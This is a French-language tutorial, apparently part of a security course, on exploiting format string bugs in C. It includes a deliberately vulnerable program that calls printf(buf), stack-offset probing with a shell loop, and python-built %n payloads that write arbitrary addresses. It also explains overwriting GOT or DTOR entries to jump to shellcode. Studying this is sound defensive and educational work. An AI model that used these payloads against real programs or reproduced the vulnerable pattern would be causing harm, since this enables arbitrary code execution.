String Format Bug

Nous allons etudier un autre type de bugs permettant lui aussi l'éxecution de codes arbritaire.

Une chaîne de format est l'argument passé aux fonctions de la famille des printf. Un string format bug survient quand le développeur ne précise pas la chaîne de format et qu'il passe directement la chaîne (printf(input_buffer); au lieu de printf("%s", input_buffer);).

A la base considérée comme sans dangers, l'exploitation de ce bug à été découverte en Juin 2000 par Przemyslaw Frasunek et tf8.

Impacts:

Le problème vient du fait que les fonctions utilisant les va_args peuvent accepter un nombre indéfini d'arguments. Si un utilisateur malicieux peut contrôler une chaîne de format alors il pourra contrôler le fonctionnement de la fonction printf, notamment :

'Utilisation' speciale de printf

Pour spéfichier le nombre de caractères à imprimer : %Nombretype

  printf("%5s", "dev"); == '  dev'
  

%n permet d'écrire le nombre de charactères imprimés dans un int à l'aide de son adresse :

int i;
printf("chiche%n", &i);
printf(" est un mot de %d lettres\n", i); // 'chiche est un mot de 6 lettres'
  

On peut spécifier l'argument exact à l'aide de %Numéro$Type :

  printf("%2$s %1$s !\n", "world", "Hello"); // 'Hello world !'
  

Exemple

$ cat bug.c
int i = 1;

int main(int argc, char *argv[])
{
        char buf[512];

        if (argc != 2)
                return (-1);
        strncpy(buf, argv[1], 511);
        printf(buf);
        printf("\ni = %x\n", i);
}
$ gcc bug.c -o bug
$ ./bug chiche
chiche
i = 1
$
  

Ce code contient un string format bug sur le premier appel de printf.

Ecrire dans la mémoire

Ecrire dans la mémoire

Pour commencer on va modifier le contenu de la variable i a l'aide du string format bug.

Pour faire ca il nous faut l'adresse de i (variable globale). On peut la trouver dans le code assemblé, plus précisément dans les arguments du dernier call effectué par la fonction printf :

(gdb) disas main
Dump of assembler code for function main:
...
0x080484ab <main+75>:   mov    0x80496bc,%eax      sans le $ devant la valeur, c'est le contenu de l'adresse qui est mis dans eax
0x080484b0 <main+80>:   push   %eax		   push du deuxième argument de la fonction printf ( i )
0x080484b1 <main+81>:   push   $0x80485a	   push de la chaîne de format de la fonction printf
0x080484b6 <main+86>:   call   0x8048358 <printf>  appel de la fonction printf
0x080484bb <main+91>:   add    $0x10,%esp
0x080484be <main+94>:   leave			   | Epilogue du main
0x080484bf <main+95>:   ret			   |
End of assembler dump.
  

Donc l'adresse de i est 0x80496bc.

Position du buffer

Avec les string format bugs on ne peut qu'ecrire sur la stack, il faut donc placer l'adresse de i sur la stack. Or nous savons que buf n'est pas loin sur la stack et que nous pouvons y ecrire. Le plus simple est donc de mettre l'adresse de i au début de l'argument passé au programme. Rappel sur la structure de la stack :

  |----------|
  |    EIP   |
  |----------|
  |    EBP   |
  |----------| --  stack frame du main
  |          |
  | buf[512] |
  |----------|
  |  *buf    |
  |----------|
  |    EIP   |
  |----------|
  |    EBP   |
  |----------| -- stack frame printf
  |Variables |
  |  locales |
  |   printf |
  |----------|
    

Il nous faudra donc connaitre l'adresse du buffer pour connaitre le nombre n avec lequel on va pouvoir y ecrire avec le %n$x. Pour cela, on va depiler successivement les valeurs de la stack jusqu'a trouver le debut de notre buffer :

$ ( for (( val = 1; val < 100; val++ )); do echo -n "val = $val  " ; ./bug "ABCD%${val}\$x" ; done ) | grep 41
val = 6  ABCD44434241
$ ./bug 'ABCD%6$x'
ABCD44434241
i = 1
    

'./bug "%2$x"' va afficher en hexadecimal le contenu du 2e double mot de la pile a l'appel du printf. Donc le début de notre buffer est le 6ème 'paramètre' de printf (cela peut varier en fonction du compilateur et de la libc).

Ecriture d'une petite valeur

Nous avons maintenant les élèments qu'il nous faut pour écrire une valeur en mémoire. Il suffit d'écrire l'adresse de i et d'utiliser l'opérateur n à la place de x et le tour est joué :

$ ./bug `python -c 'print "\xbc\x96\x04\x08%6$n"'`
l
i = 4
$ ./bug `python -c 'print "\xbc\x96\x04\x08%200x%6$n"'`

							   bffff847
i = cc
$ ./bug `python -c 'print "\xbc\x96\x04\x08%200x%6$n"'` > chiche
$ hexdump -C chiche
00000000  6c 95 04 08 20 20 20 20  20 20 20 20 20 20 20 20  |l...            |
00000010  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20  |                |
*
000000c0  20 20 20 20 62 66 63 33  39 62 36 31 0a 69 20 3d  |    bfc39b61.i =|
000000d0  20 63 63 0a                                       | cc.|
000000d4
    

Nous avons donc place l'adresse de i dans le buffer, accessible dans le printf avec le %6$x. Pour y ecrire il suffit de placer '%6$n' dans le buffer. Comme nous n'avons ecrit que 4 caracteres (l'adresse de i), nous allons ecrire la valeur de 4 dans l'adresse pointee par le debut du buffer, donc dans i. Dans le deuxieme exemple nous avons affiche les 200 caracteres du haut de la pile, plus notre adresse, soit 204 octets (0x20 = espace) : i vaut ensuite 0xCC = 204. Nous pouvons ainsi ecrire n'importe quel entier, avec un maximum qui depend de la position courante de la stack.

Pour ne pas avoir a inverser a la main les adresse, python peut nous aider : `python -c 'from struct import pack; print pack("<i", 0x080496bc) + "%6$n"'`

Ecriture d'une adresse

Tres bien, mais maintenant si on veut ecrire une adresse (par ex: 0xbfffffe2) on ne peut pas ecrire %3221225442x. On va operer octet par octet en commencant par celui de poids faible :

i  =   | 0x01 |      |      |      |

[1]    | 0xe2 | ---- | ---- | ---- |
[2]    | 0xe2 | 0xff | ---- | ---- |
[3]    | 0xe2 | 0xff | 0xff | ---- |
[4]    | 0xe2 | 0xff | 0xff | 0xbf |
    

Pour cela il faut :

  • ecrire les 4 adresses des octets que l'on va modifier
  • ecrire 0xe2 - (4 * 4) caracteres et utiliser %n pour effectuer l'etape [1]
  • ecrire 0xff - 0xe2 caracteres et utiliser %n pour effectuer l'etape [2]
  • utiliser %n pour faire [3]
  • et enfin ecrire 0xbf + 1 caracteres puis utiliser %n pour faire [4]
$ ./bug `python -c 'from struct import pack; print pack("<i", 0x080496bc) + pack("<i", 0x080496bd)
						 + pack("<i", 0x080496be) + pack("<i", 0x080496bf)
						 + "%210x%6$n" + "%29x%7$n" + "%8$n" + "%192x%9$n"'`

                    bffff873                          1ff
                                                           ffffffff
i = bfffffe2
    

Voila, nous savons ecrire une adresse en memoire a l'aide d'une simple chaine de format. Maintenant nous allons voir comment utiliser cette fonctionnalite pour detourner le fonctionnement du programme.

A l'instar d'un debordement de tampon sur la stack, trouver l'adresse absolue d'une adresse de retour sur la stack puis de la modifier n'est pas pratique. Il y a deux zones qui sont susceptibles de nous interresser : la Global Offset Table et les destruteurs de la libc (DTOR).

GOT : A la compillation le programme ne sait pas ou seront chargees les librairies partagees. Le Dynamic Linker va se charger de mettre les adresses reelles des fonctions partagees dans cette table afin que le programme puisse y acceder. Pour obtenir les adresses des differents elements de cette table on utilise objdump :

$ objdump -R bug

bug:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049688 R_386_GLOB_DAT    __gmon_start__
08049698 R_386_JUMP_SLOT   __register_frame_info
0804969c R_386_JUMP_SLOT   __deregister_frame_info
080496a0 R_386_JUMP_SLOT   __libc_start_main
080496a4 R_386_JUMP_SLOT   printf
080496a8 R_386_JUMP_SLOT   strncpy
    

Cette zone est ideale pour ecrire l'adresse de notre shellcode. Il suffit d'ecrire a la place de l'adresse de la fonction printf (par exemple) l'adresse de notre shellcode pour qu'au prochain appel de cette fonction l'execution soit redirigee sur notre shellcode.

DTOR : la libc fournit un mecanisme de constructeur et de destructeur. Ce sont des listes de fonctions qui sont appellees successivement au demarage et a la fin de l'execution du programme. Si on ecrit l'adresse de notre shellcode dans la liste des destructeurs, ca aurait pour effet de le faire executer a la fin du programme.

Résumé

Donc pour mener à bien une attaque sur un string format bug il faut :

  • Obtenir la position du buffer par rapport àla pile de printf. Il faut utiliser une chaîne de type : "ABCD %" + i + "$x" et faire varier i jusqu'a obtenir comme sortie 44434241.
  • Trouver l'adresse de ce que l'on veut modifier. Le plus souvent cela sera une GOT dont on peut obtenir l'adresse avec objdump.
  • Trouver l'adresse du shellcode. Il faudra soit jouer avec gdb, soit, si on contrôle le lancement du programme, le placer dans l'environement et calculer son adresse avec la methode vue dans la partie du cours sur les shellcodes dans l'environnement.
  • Utiliser la technique d'écriture d'une adresse avec tous ces éléments réunis.
Cette methode est donc plus longue a mettre en place par rapport a un buffer overflow mais elle est relativement courante.